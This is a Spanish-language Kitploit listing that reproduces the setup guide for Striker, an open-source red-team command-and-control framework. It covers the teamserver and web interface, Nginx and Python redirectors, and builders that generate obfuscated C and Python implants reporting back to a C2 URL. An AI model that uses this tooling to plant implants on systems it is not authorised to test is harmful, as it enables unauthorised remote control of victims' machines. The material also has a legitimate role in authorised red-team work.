Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Striker — Framework C2 multioperador con agentes nativos en C y Python, canales HTTP(S), tareas asíncronas y una interfaz web reactiva para operaciones de equipo rojo. | Kitploit
Herramientas/GitHubGitHub/4g3nt47/striker
Generación de PayloadsComando y ControlRed TeamingHerramienta de Acceso Remoto
GitHub4g3nt47/striker

Striker

Framework C2 multioperador con agentes nativos en C y Python, canales HTTP(S), tareas asíncronas y una interfaz web reactiva para operaciones de equipo rojo.

Ver Repositorio
30041hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Striker C2

Striker es un sencillo programa de Comando y Control (C2).

Pasted image 20221022194999

Descargo de responsabilidad

image

Este proyecto está en desarrollo activo. La mayoría de las funcionalidades son experimentales, y habrá más por venir. Espere cambios importantes.

Características

A) Agentes

  • Agentes nativos para sistemas Linux y Windows.
  • Agente Python autocontenido y minimalista para cuando lo necesite.
  • Canales HTTP(s).
  • Ejecución asíncrona de tareas.
  • Soporte para múltiples redireccionadores, y puede recurrir a otros cuando el activo falla.

B) Backend / Teamserver

  • Soporta múltiples operadores.
  • La mayoría de las funcionalidades están expuestas a través de la API REST, facilitando la automatización.
  • Utiliza web sockets para comunicaciones más rápidas.

C) Interfaz de usuario

  • Interfaz fluida y reactiva gracias a Svelte y SocketIO.
  • Fácil de configurar, ya que se compila en archivos HTML, JavaScript y CSS estáticos, que pueden alojarse incluso con el servidor web más básico que encuentre.
  • Función de chat de equipo para comunicarse con otros operadores mediante texto.

Instalación de Striker

Clone el repositorio:

root@kitploit:~
$ git clone https://github.com/4g3nt47/Striker.git
$ cd Striker

El código está dividido en 4 secciones independientes:

1. El Servidor C2 / Backend

Maneja toda la lógica del lado del servidor tanto para operadores como para agentes. Es una aplicación NodeJS hecha con:

  • express - Para la API REST.
  • socket.io - Para la comunicación por Web Socket.
  • mongoose - Para conectar con MongoDB.
  • multer - Para manejar la subida de archivos.
  • bcrypt - Para cifrar las contraseñas de los usuarios.

El código fuente está en el directorio backend/. Para configurar el servidor:

  1. Configure una base de datos MongoDB;

Striker usa MongoDB como base de datos backend para almacenar todos los datos importantes. Puede instalarlo localmente en su máquina usando esta guía para distribuciones basadas en Debian, o crear una gratuita con MongoDB Atlas (una plataforma de base de datos como servicio).

  1. Muévase al directorio fuente;
root@kitploit:~
$ cd backend
  1. Instale las dependencias;
root@kitploit:~
$ npm install
  1. Cree un directorio para archivos estáticos;
root@kitploit:~
$ mkdir static

Puede usar esta carpeta para alojar archivos estáticos en el servidor. También debería ser donde se establezca UPLOAD_LOCATION en el archivo .env (más sobre esto después), pero no es necesario. Los archivos en este directorio serán accesibles públicamente bajo la ruta /static/.

  1. Cree un archivo .env;

NOTA: Los valores entre < y > son marcadores de posición. Reemplácelos con valores apropiados (incluyendo los <>). Para campos que requieran cadenas aleatorias, puede generarlas fácilmente usando;

root@kitploit:~
$ head -c 100 /dev/urandom | sha256sum
root@kitploit:~
DB_URL=<su URL de conexión a MongoDB>
HOST=<host donde escuchar (predeterminado: 127.0.0.1)>
PORT=<puerto donde escuchar (predeterminado: 3000)>
SECRET=<cadena aleatoria para firmar cookies de sesión y cifrar datos de sesión>
ORIGIN_URL=<URL completa del servidor donde alojará el frontend. Se usa para configurar CORS>
REGISTRATION_KEY=<cadena aleatoria para autenticación durante el registro>
MAX_UPLOAD_SIZE=<tamaño máximo de subida, en bytes>
UPLOAD_LOCATION=<directorio para almacenar archivos subidos (predeterminado: static)>
SSL_KEY=<su archivo de clave SSL (opcional)>
SSL_CERT=<su archivo de certificado SSL (opcional)>

Tenga en cuenta que SSL_KEY y SSL_CERT son opcionales. Si alguno no está definido, se creará un servidor HTTP plano. Esto ayuda a evitar sobrecarga innecesaria cuando se ejecuta el servidor detrás de un proxy inverso con SSL en el mismo host.

  1. Inicie el servidor;
root@kitploit:~
$ node index.js
[12:45:30 PM]  Conectando a la base de datos backend...
[12:45:31 PM]  Iniciando servidor HTTP...
[12:45:31 PM]  Servidor iniciado en el puerto: 3000

2. El Frontend

Esta es la interfaz web utilizada por los operadores. Es una aplicación web de una sola página escrita en Svelte, y el código fuente está en el directorio frontend/.

Para configurar el frontend:

  1. Muévase al directorio fuente;
root@kitploit:~
$ cd frontend
  1. Instale las dependencias;
root@kitploit:~
$ npm install
  1. Cree un archivo .env con la variable VITE_STRIKER_API configurada con la URL completa del servidor C2 configurado anteriormente;
root@kitploit:~
VITE_STRIKER_API=https://c2.striker.local
  1. Construya;
root@kitploit:~
$ npm run build

Lo anterior compilará todo en una aplicación web estática en el directorio dist/. Puede mover todos los archivos dentro de la raíz web de su servidor web, o incluso alojarlo con un servidor HTTP básico como el de Python;

root@kitploit:~
$ cd dist
$ python3 -m http.server 8000
  1. Regístrese;
  • Abra el sitio en un navegador web. Debería ver una página de inicio de sesión.
  • Haga clic en el botón Register.
  • Ingrese un nombre de usuario, contraseña y la clave de registro en uso (vea REGISTRATION_KEY en backend/.env).

Esto creará una cuenta de usuario estándar. Necesitará una cuenta de administrador para acceder a algunas funciones. Su primera cuenta de administrador debe crearse manualmente; luego puede ascender y degradar otras cuentas en la pestaña Users de la interfaz web.

Para crear su primera cuenta de administrador:

  • Conéctese a la base de datos MongoDB utilizada por el backend.
  • Actualice la colección users y establezca el campo admin del usuario objetivo en true;

Hay diferentes maneras de hacer esto. Si tiene mongo disponible en su línea de comandos, puede hacerlo usando;

root@kitploit:~
$ mongo <su URL de conexión a MongoDB>
> db.users.updateOne({username: "<su nombre de usuario>"}, {$set: {admin: true}})

Debería obtener la siguiente respuesta si funciona;

root@kitploit:~
{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }

¡Ahora puede iniciar sesión :)

3. El Redireccionador C2

A) Redireccionamiento por Tubería Simple (Dumb Pipe)

Hay un redireccionador por tubería simple escrito para Striker disponible en redirector/redirector.py. Obviamente, esto solo funcionará para tráfico HTTP plano, o para HTTPS cuando la verificación SSL esté desactivada (puede hacerlo habilitando la macro INSECURE_SSL en el agente C).

El siguiente ejemplo escucha en el puerto 443 en todas las interfaces y reenvía a c2.example.org en el puerto 443;

root@kitploit:~
$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Iniciando redireccionador en 0.0.0.0:443...
[+] Escuchando conexiones...

B) Proxy Inverso Nginx como Redireccionador

  1. Instale Nginx;
root@kitploit:~
$ sudo apt install nginx
  1. Cree una configuración de vhost (por ejemplo: /etc/nginx/sites-available/striker);

Marcadores de posición;

  • <domain-name> - Es el FQDN de su servidor, y debe coincidir con el de su certificado SSL.
  • <ssl-cert> - El archivo de certificado SSL a usar.
  • <ssl-key> - El archivo de clave SSL a usar.
  • <c2-server> - La URL completa del servidor C2 al que reenviar las solicitudes.

ADVERTENCIA: client_max_body_size debe ser tan grande como el tamaño definido por MAX_UPLOAD_SIZE en su archivo backend/.env, de lo contrario las subidas de archivos grandes fallarán.

root@kitploit:~
server {
    listen 443 ssl;
    server_name             <domain-name>;
    ssl_certificate         <ssl-cert>;
    ssl_certificate_key     <ssl-key>;
    client_max_body_size    100M;
    access_log              /var/log/nginx/striker.log;

    location / {
      proxy_pass              <c2-server>;
      proxy_redirect          off;
      proxy_ssl_verify        off;
      proxy_read_timeout      90;
      proxy_http_version      1.0;
      proxy_set_header        Upgrade $http_upgrade;
      proxy_set_header        Connection "upgrade";
      proxy_set_header        Host $host;
      proxy_set_header        X-Real-IP $remote_addr;
      proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
  1. Actívelo;
root@kitploit:~
$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker
  1. Reinicie Nginx;
root@kitploit:~
$ sudo service nginx restart

Su redireccionador ya debería estar funcionando en el puerto 443, y puede probarse usando (asumiendo que su FQDN es striker.local);

root@kitploit:~
$ curl https://striker.local

Si funciona, debería obtener la respuesta 404 utilizada por el backend, como;

root@kitploit:~
{"error":"¡Ruta inválida!"}

4. Los Agentes (Implantes)

A) El Agente C

Estos son los implantes utilizados por Striker. El agente principal está escrito en C, y se encuentra en agent/C/. Es compatible con sistemas Linux y Windows. El agente Linux depende externamente de libcurl, que suele estar instalado en la mayoría de los sistemas.

El agente Windows no tiene dependencias externas. Usa wininet para las comunicaciones, que creo que está disponible en todos los sistemas Windows.

  1. Compilación para Linux

Asumiendo que está en un host de 64 bits, lo siguiente compilará para 64 bits;

root@kitploit:~
$ cd agent/C
$ mkdir bin
$ make

Para compilar para 32 bits en 64 bits;

root@kitploit:~
$ sudo apt install gcc-multilib
$ make arch=32

Lo anterior compila todo en el directorio bin/. Solo necesitará dos archivos para generar implantes funcionales;

  • bin/stub - Este es el stub del agente que se usará como plantilla para generar implantes funcionales.
  • bin/builder - Es lo que usará para modificar el stub del agente y generar implantes funcionales.

El builder acepta los siguientes argumentos;

root@kitploit:~
$ ./bin/builder 
[-] Uso: ./bin/builder <url> <auth_key> <delay> <stub> <outfile>

Donde;

  • <url> - El servidor al que reportarse. Idealmente debería ser un redireccionador, pero una URL directa al servidor también funcionará.
  • <auth_key> - La clave de autenticación a usar al conectarse al C2. Puede crear esto en la pestaña auth keys de la interfaz web.
  • <delay> - Retardo entre cada callback, en segundos. Debería ser al menos 2, dependiendo de lo ruidoso que quiera que sea.
  • <stub> - El archivo stub a leer, bin/stub en este caso.
  • <outfile> - El nombre del archivo de salida del nuevo implante.

Ejemplo;

root@kitploit:~
$ ./bin/builder https://localhost:3000 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Ofuscando cadenas...
[+] 69 cadenas ofuscadas :)
[*] Buscando offsets de nuestros marcadores...
[+] Offsets:
            URL: 0x0000a2e0
       OBFS Key: 0x0000a280
       Auth Key: 0x0000a2a0
          Delay: 0x0000a260
[*] Parcheando...
[+] ¡Operación completada!
  1. Compilación para Windows

Necesitará MinGW para esto. Lo siguiente instalará el entorno de desarrollo de Windows de 32 y 64 bits;

root@kitploit:~
$ sudo apt install mingw-w64

Compile para 64 bits;

root@kitploit:~
$ cd agent/C
$ mdkir bin
$ make target=win

Para compilar para 32 bits;

root@kitploit:~
$ make target=win arch=32

Esto compilará todo en el directorio bin/, y tendrá el builder y el stub como bin\stub.exe y bin\builder.exe, respectivamente.

B) El Agente Python

Striker también incluye un agente Python autocontenido (probado en Python 2.7.16 y 3.7.3). Se encuentra en agent/python/. Solo las funcionalidades más básicas están implementadas en este agente. Útil para hosts que no pueden ejecutar el agente C pero tienen Python instalado.

Hay 2 archivos en este directorio;

  • stub.py - Este es el stub del payload para pasar al builder.
  • builder.py - Esto es lo que usará para generar un implante.

Ejemplo de uso:

root@kitploit:~
$ ./builder.py
[-] Uso: builder.py <url> <auth_key> <delay> <stub> <outfile>
# Lo siguiente generará un payload funcional como `output.py`
$ ./builder.py http://localhost:3000 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Cargando stub del agente...
[*] Escribiendo configuraciones...
[+] Agente construido exitosamente: output.py
# Ejecútelo
$ python3 output.py

Primeros Pasos

Después de seguir las instrucciones anteriores, Striker debería estar listo para usar. Por favor, revise la guía de uso. ¡Diviértase y feliz hacking!

Apoyo

Si le gusta el proyecto, considere ayudarme a convertir café en código!

Descargar herramienta